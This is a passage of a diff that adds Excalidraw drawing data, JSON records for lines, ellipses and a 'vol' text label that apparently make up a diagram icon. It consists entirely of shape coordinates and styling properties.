"startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2048, + "versionNonce": 1004265696, + "index": "c0Uax", + "isDeleted": false, + "id": "ymRrlNz4SZy1dvRWJxGto", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1577.2148530697825, + "y": -465.4543090883635, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 59.37137674309081, + "height": 27.221156128594433, + "seed": 1670175160, + "groupIds": [ + "qtokYdqVJ8snYT1ZH6YQa", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.3038170575611916, + 10.9393431170987 + ], + [ + 3.6252474283408214, + 19.27105211907502 + ], + [ + 19.207451286998833, + 24.708923261586346 + ], + [ + 41.18153876931043, + 24.867925341776683 + ], + [ + 55.26912307417885, + 20.034262103988922 + ], + [ + 57.749555525148864, + 11.734353518050673 + ], + [ + 58.06755968552963, + 4.229455333064291 + ], + [ + 56.44573846758773, + -0.5406070726473374 + ], + [ + 38.891908814568815, + -2.3532307868177478 + ], + [ + 0.22260291226651693, + -0.7632099849138022 + ] + ] + }, + { + "type": "ellipse", + "version": 1210, + "versionNonce": 460113120, + "index": "c0UaxV", + "isDeleted": false, + "id": "7hjoZfpNNJvGYnAZdrcnG", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1577.1168683208275, + "y": -473.11973388704655, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 58.28444896770605, + "height": 13.326343859450365, + "seed": 1094247096, + "groupIds": [ + "qtokYdqVJ8snYT1ZH6YQa", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1108, + "versionNonce": 524364000, + "index": "c0Uay", + "isDeleted": false, + "id": "7nfXuTrJ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1591.6731993729923, + "y": -434.0179376051515, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 24.585324755793753, + "height": 22.935001028129516, + "seed": 2122042296, + "groupIds": [ + "qtokYdqVJ8snYT1ZH6YQa", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "vol", + "rawText": "vol", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "vol", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3920, + "versionNonce": 1927875808, + "index": "c0Uaz", + "isDeleted": false, + "id": "ODzFrU1PK1jCNsyLVaxeu", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1547.4081233091845, + "y": -437.4923296307293, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1165595832, + "groupIds": [ + "UvHciKPV3NlvAMNx9p9r0", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2766, + "versionNonce": 1341419744, + "index": "c0UazG", + "isDeleted": false, + "id": "7lKSxu-C9CQ09_aOtbY56", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1548.565978077029, + "y": -438.40353121286125, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1540767160, + "groupIds": [ + "UvHciKPV3NlvAMNx9p9r0", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 3057, + "versionNonce": 1039357152, + "index": "c0UazV", + "isDeleted": false, + "id": "qIVDjJhoPiZts_BPNb-iG", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1548.4140624547802, + "y": -424.92240119494363, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 64.7088801862404, + "height": 64.26452098858984, + "seed": 850773688, + "groupIds": [ + "T9yGOaMmuyVXMTRJLGh59", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -25.806517693322068, + 12.318162269729697 + ], + [ + -32.06556116371734, + 41.06054089909901 + ], + [ + -14.347653493675317, + 63.882562468598216 + ], + [ + 14.34765349367535, + 64.26452098858984 + ], + [ + 32.64331902252307, + 40.9650512691011 + ], + [ + 26.28798257566017, + 12.2226726397318 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2056, + "versionNonce": 1383446752, + "index": "c0Ub", + "isDeleted": false, + "id": "YSgCRmPjlU3e1NWt6Y_NR", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1536.3861518082265, + "y": -405.57065260698823, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 4.9374691368559125, + "height": 8.693580627470233, + "seed": 1992044472, + "groupIds": [ + "Jf-Q6eEdTFOEiL_2i1rR-", + "z2H9fn0IQpG7gvcU81CJl", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.04543683254775536, + 6.043098728851262 + ], + [ + 4.816304250061906, + 8.693580627470233 + ], + [ + 4.9374691368559125, + 1.6508715825683917 + ], + [ + 0.5755332122715494, + 0.4392227146282873 + ] + ] + }, + { + "type": "line", + "version": 2274, + "versionNonce": 1896586464, + "index": "c0Ub1", + "isDeleted": false, + "id": "zTh4EwlpvO0-ULygDyRyG", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1547.200117954591, + "y": -405.60094382868647, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 5.388791910343716, + "height": 8.724780038159027, + "seed": 537753784, + "groupIds": [ + "Jf-Q6eEdTFOEiL_2i1rR-", + "z2H9fn0IQpG7gvcU81CJl", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.388791910343716, + 1.550007838579665 + ], + [ + -5.057111247655056, + 8.724780038159027 + ], + [ + -0.24232977358802085, + 6.103681172248265 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1989, + "versionNonce": 189071584, + "index": "c0Ub2", + "isDeleted": false, + "id": "e_qXYnzD6i9pG92FnZwoa", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1536.7799376903058, + "y": -406.26735070605423, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 10.405034653435624, + "height": 3.195723889192021, + "seed": 38642104, + "groupIds": [ + "Jf-Q6eEdTFOEiL_2i1rR-", + "z2H9fn0IQpG7gvcU81CJl", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.088925245348424, + 1.4842698632266256 + ], + [ + 10.405034653435624, + 0.12116488679401163 + ], + [ + 5.043488412800673, + -1.7114540259653952 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2081, + "versionNonce": 1622271200, + "index": "c0Ub3", + "isDeleted": false, + "id": "mJKbLi8yiMjadSO3SNa1y", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1550.0922025511663, + "y": -405.57892783692705, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 4.9374691368559125, + "height": 8.693580627470233, + "seed": 1554033336, + "groupIds": [ + "7kQSetrjXX0-ASWnSgDLN", + "c4G7Qa6FSxrdzUUXuChbb", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.04543683254775536, + 6.043098728851262 + ], + [ + 4.816304250061906, + 8.693580627470233 + ], + [ + 4.9374691368559125, + 1.6508715825683917 + ], + [ + 0.5755332122715494, + 0.4392227146282873 + ] + ] + }, + { + "type": "line", + "version": 2299, + "versionNonce": 1055017184, + "index": "c0Ub4", + "isDeleted": false, + "id": "g97xNgwi1KzFTIswfgv8Y", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1560.9061686975313, + "y": -405.6092190586264, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 5.388791910343716, + "height": 8.724780038159027, + "seed": 1772786616, + "groupIds": [ + "7kQSetrjXX0-ASWnSgDLN", + "c4G7Qa6FSxrdzUUXuChbb", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.388791910343716, + 1.550007838579665 + ], + [ + -5.057111247655056, + 8.724780038159027 + ], + [ + -0.24232977358802085, + 6.103681172248265 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2014, + "versionNonce": 1097215200, + "index": "c0Ub5", + "isDeleted": false, + "id": "GXHB1cQSFAH4oSKmVsa2q", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1550.485988433248, + "y": -406.27562593599305, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 10.405034653435624, + "height": 3.195723889192021, + "seed": 1871666360, + "groupIds": [ + "7kQSetrjXX0-ASWnSgDLN", + "c4G7Qa6FSxrdzUUXuChbb", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.088925245348424, + 1.4842698632266256 + ], + [ + 10.405034653435624, + 0.12116488679401163 + ], + [ + 5.043488412800673, + -1.7114540259653952 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2102, + "versionNonce": 298684640, + "index": "c0Ub6", + "isDeleted": false, + "id": "ikmW1jcyFj1_9GuphL_Y5", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1543.2309459741907, + "y": -418.1300069411518, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 4.9374691368559125, + "height": 8.693580627470233, + "seed": 1341326776, + "groupIds": [ + "BWed74QTfiP7nLnDkmBhf", + "n-kp-Yj_Wc2xWbMzFlysp", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.04543683254775536, + 6.043098728851262 + ], + [ + 4.816304250061906, + 8.693580627470233 + ], + [ + 4.9374691368559125, + 1.6508715825683917 + ], + [ + 0.5755332122715494, + 0.4392227146282873 + ] + ] + }, + { + "type": "line", + "version": 2320, + "versionNonce": 665351392, + "index": "c0Ub8", + "isDeleted": false, + "id": "kJFfRIxPdXwsq352Cb2DN", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1554.0449121205556, + "y": -418.1602981628498, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 5.388791910343716, + "height": 8.724780038159027, + "seed": 402230968, + "groupIds": [ + "BWed74QTfiP7nLnDkmBhf", + "n-kp-Yj_Wc2xWbMzFlysp", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.388791910343716, + 1.550007838579665 + ], + [ + -5.057111247655056, + 8.724780038159027 + ], + [ + -0.24232977358802085, + 6.103681172248265 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2035, + "versionNonce": 143055072, + "index": "c0Ub9", + "isDeleted": false, + "id": "GaF3QFRp1EKRIR5geBFHj", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1543.6247318562703, + "y": -418.8267050402169, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 10.405034653435624, + "height": 3.195723889192021, + "seed": 273086392, + "groupIds": [ + "BWed74QTfiP7nLnDkmBhf", + "n-kp-Yj_Wc2xWbMzFlysp", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.088925245348424, + 1.4842698632266256 + ], + [ + 10.405034653435624, + 0.12116488679401163 + ], + [ + 5.043488412800673, + -1.7114540259653952 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1364, + "versionNonce": 133741792, + "index": "c0UbA", + "isDeleted": false, + "id": "sAXUTZQglJnJFaqHbgGgh", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1534.9859119299986, + "y": -393.50715218848245, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 9.333119087971218, + "height": 9.4537020219243, + "seed": 1291796664, + "groupIds": [ + "N-gJ3rcyc5ywMcE-5Fzst", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1306, + "versionNonce": 126755040, + "index": "c0UbC", + "isDeleted": false, + "id": "2J7QCodS3Qc3l_GpTmnAo", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1539.6645297673795, + "y": -393.3624526677386, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.5305649093936884, + "height": 1.8569771828779855, + "seed": 1036413368, + "groupIds": [ + "N-gJ3rcyc5ywMcE-5Fzst", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453348, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.5305649093936884, + -1.8569771828779855 + ] + ] + }, + { + "type": "line", + "version": 1289, + "versionNonce": 920061152, + "index": "c0UbD", + "isDeleted": false, + "id": "Qcr_fzA77NGayn_WSwKzS", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1542.7755694633702, + "y": -392.5183721300664, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.856977182877977, + "height": 0.6993810169280661, + "seed": 1036022456, + "groupIds": [ + "N-gJ3rcyc5ywMcE-5Fzst", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.856977182877977, + -0.6993810169280661 + ] + ] + }, + { + "type": "line", + "version": 1292, + "versionNonce": 1399023840, + "index": "c0UbE", + "isDeleted": false, + "id": "jY9CStO3QnM8ER7l3X1_r", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1543.9572822161113, + "y": -388.876767524682, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.4357752658528606, + "height": 0.4823317358124594, + "seed": 596728760, + "groupIds": [ + "N-gJ3rcyc5ywMcE-5Fzst", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.4357752658528606, + 0.4823317358124594 + ] + ] + }, + { + "type": "line", + "version": 1290, + "versionNonce": 1757629664, + "index": "c0UbG", + "isDeleted": false, + "id": "EKOdFmiuZWXJ2_MBCvWza", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1543.137318265229, + "y": -385.2592795060891, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.2781790999030933, + "height": 1.5675781413905017, + "seed": 1365058744, + "groupIds": [ + "N-gJ3rcyc5ywMcE-5Fzst", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.2781790999030933, + 1.5675781413905017 + ] + ] + }, + { + "type": "line", + "version": 1282, + "versionNonce": 277262560, + "index": "c0UbH", + "isDeleted": false, + "id": "NGPg82Dp-PIc6WrTp228V", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1539.543946833426, + "y": -383.98110040618553, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.289399041487577, + "height": 2.0740264639935924, + "seed": 1153945016, + "groupIds": [ + "N-gJ3rcyc5ywMcE-5Fzst", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.289399041487577, + 2.0740264639935924 + ] + ] + }, + { + "type": "line", + "version": 1284, + "versionNonce": 842896608, + "index": "c0UbI", + "isDeleted": false, + "id": "CwDO-dMee44xspX1TRSNS", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1536.7223061789234, + "y": -385.64514489473913, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.6399279017623953, + "height": 1.856977182877977, + "seed": 653612728, + "groupIds": [ + "N-gJ3rcyc5ywMcE-5Fzst", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.6399279017623953, + 1.856977182877977 + ] + ] + }, + { + "type": "line", + "version": 1292, + "versionNonce": 1131935968, + "index": "c0UbK", + "isDeleted": false, + "id": "NTomUcqu_X_tKxXFMU-Xg", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1535.6129431865547, + "y": -388.90088411147235, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.1592728695716006, + "height": 0, + "seed": 1552531384, + "groupIds": [ + "N-gJ3rcyc5ywMcE-5Fzst", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.1592728695716006, + 0 + ] + ] + }, + { + "type": "line", + "version": 1288, + "versionNonce": 130407648, + "index": "c0UbL", + "isDeleted": false, + "id": "KBBX8RuOrsNnn4uYMVSbk", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1537.2287545015276, + "y": -392.3977891961126, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.856977182877977, + "height": 0.4823317358124594, + "seed": 363399352, + "groupIds": [ + "N-gJ3rcyc5ywMcE-5Fzst", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.856977182877977, + -0.4823317358124594 + ] + ] + }, + { + "type": "ellipse", + "version": 1355, + "versionNonce": 1354186976, + "index": "c0UbM", + "isDeleted": false, + "id": "8mQIq4KZmHygAxKrFicfi", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1547.1312327027736, + "y": -390.017671441994, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 14.403356230904123, + "height": 14.589446104688362, + "seed": 1576481208, + "groupIds": [ + "dBTPnXxzAs13AmuDm9jH2", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1297, + "versionNonce": 1037837536, + "index": "c0UbO", + "isDeleted": false, + "id": "Mpwntiw3xGwNbOc6ahjv_", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1554.3515198056052, + "y": -389.79436359345345, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.818795444650843, + "height": 2.8657840562780676, + "seed": 748174008, + "groupIds": [ + "dBTPnXxzAs13AmuDm9jH2", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.818795444650843, + -2.8657840562780676 + ] + ] + }, + { + "type": "line", + "version": 1280, + "versionNonce": 2093254880, + "index": "c0UbP", + "isDeleted": false, + "id": "WT_K-PwypNTlbz4vulSmD", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1559.15263854924, + "y": -388.4917344769633, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8657840562780548, + "height": 1.0793212679488726, + "seed": 1949311928, + "groupIds": [ + "dBTPnXxzAs13AmuDm9jH2", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.8657840562780548, + -1.0793212679488726 + ] + ] + }, + { + "type": "line", + "version": 1283, + "versionNonce": 